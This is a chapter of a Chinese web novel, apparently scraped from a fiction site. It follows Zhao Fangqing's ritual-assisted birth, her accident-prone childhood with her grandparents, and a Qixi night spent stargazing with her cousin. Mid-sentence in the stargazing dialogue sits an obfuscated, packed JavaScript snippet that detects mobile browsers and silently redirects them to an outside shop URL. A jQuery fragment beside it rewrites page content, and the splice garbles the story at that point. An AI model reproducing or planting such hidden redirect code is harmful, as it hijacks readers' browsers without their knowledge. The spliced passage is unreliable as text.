赵方晴出生在桥城一个普通中阶家庭。按照她婶婶的说法，赵方晴是陈桂英在寒冬腊月天儿里求来的。
据说是当年陈桂英请会算的先生亲手扎了小纸人，自己挎着竹篮走在漫天大雪的深夜土路上，身后跟着一串三寸小脚印。
竹篮里放着点了眼睛的小纸人、黄纸，还有一块儿方形肚兜儿布。
神算先生说了，只要陈桂英虔诚的在凌晨两点半带着这些东西，三步一叩头走到赵家的麦田地头儿烧一烧，来年必定得偿所愿。
……
第二年，颜春荣还真的怀孕了。
赵方晴生下来时不足2kg，也不会哭，护士往小婴儿背上打了好多下，才听到一道嘹亮的哭声。降生这回事儿，似乎没有情愿与否。
过去抱孩子的太多，不留心，孩子就会有被换的风险。
护士万分叮嘱陈桂英：“婶子，你可得看好你家孩子，别让坏人给换了。”
陈桂英听了，喜迎新生儿的喜悦在脸上变得略微僵硬，陈桂英提心吊胆的守在保温箱前三天三夜，不敢合眼。
在赵方晴的儿时记忆里，颜春荣和赵胜安走动的身影并不频繁。她从小就跟着赵德林和陈桂英生活，一直住在老院子里。
赵方晴一直觉得陈桂英是个活泼机灵的老太婆，她最喜欢看陈桂英表演打“车子轱辘”（方言：翻筋斗）。为了逗小孙女开心，陈桂英也是乐此不疲。
赵方晴四岁，赵胜安和赵德林分了家。
赵方晴五岁，赵胜利和赵德林分了家。
六岁时，赵方晴被赵果垒家的狗咬了。
七岁时，赵方晴被井盖儿砸了。
八岁时，赵方晴被身后的自行车碾倒。
九岁时，赵方晴被卸沙子的大卡车压了右脚。
十岁时，赵方晴从车子上摔了下来，被路上的尖石划破了右脸，没有缝针，留了一道月亮疤。
十一岁，鼻粘膜破裂，做了手术。
……
大伤小痛不断，赵方晴坚定不移的认为老天爷不喜欢她，处处和她作对着
乞巧节，明晃晃的月光下，耳边充斥着蝉蛙鸣，赵方晴搬着板凳坐在赵阿伯家的葡萄藤架下看星星。
赵方晴：“清清姐，哪一颗是织女星？”
半晌，赵清清抬起胳膊，随便一指：“应该是最亮的那个。”
赵方晴：“中间最多星星的，是被王母娘娘一簪子划开的银河吗？”
赵清清：“我想应该是的。”
赵方晴：“银河好宽啊～再宽点就好了，这样牛郎就抓不上织女了。织女织女快快跑，后面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17802609|210651||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的老牛太吓人了，还驮着两个孩子。”
……
昭昭日月，星汉灿烂。
两个人小朋友在葡萄藤下喂了一夜的蚊子。
赵方晴趴在赵清清腿上迷迷糊糊的问：“清清姐，你不是说可以听到织女星哭吗？”
赵清清一时语塞：“可能是王母，王母娘娘今年没让他们见面吧。”
赵方晴的呼吸越来越缓慢，这一觉睡的很沉。什么时候、怎么回家的都不知道。
大雨过后的蛙鸣声更烈、河堤的金黄油菜勾引着黄白蝶、春天容易被吸入鼻子的杨树毛张牙舞爪，夏夜里去树林捡拾的金贵蝉蜕、秋日丰收苞谷，在狗尾巴草上串了整整齐齐一排的棕褐色蛐蛐儿。
兴许上天对她也是有怜爱的，她的童年里，满含自然的馈赠和一种简单的踏实。
初中，她被接到了城里读书。回老家的频率慢慢的从一周一次，到半个月一次，再后来从一个月一次变成了一个季度一次。
赵方晴上了大学后，赵德林和陈桂英只能眼巴巴的等着每年的寒暑假。
……
为什么蝉蜕的背部有裂缝？
为什么人会渐渐的模糊四季的变化？
丝瓜、黄瓜、苦瓜、冬瓜……抓不完的泥鳅螃蟹，摘不完的新鲜果子。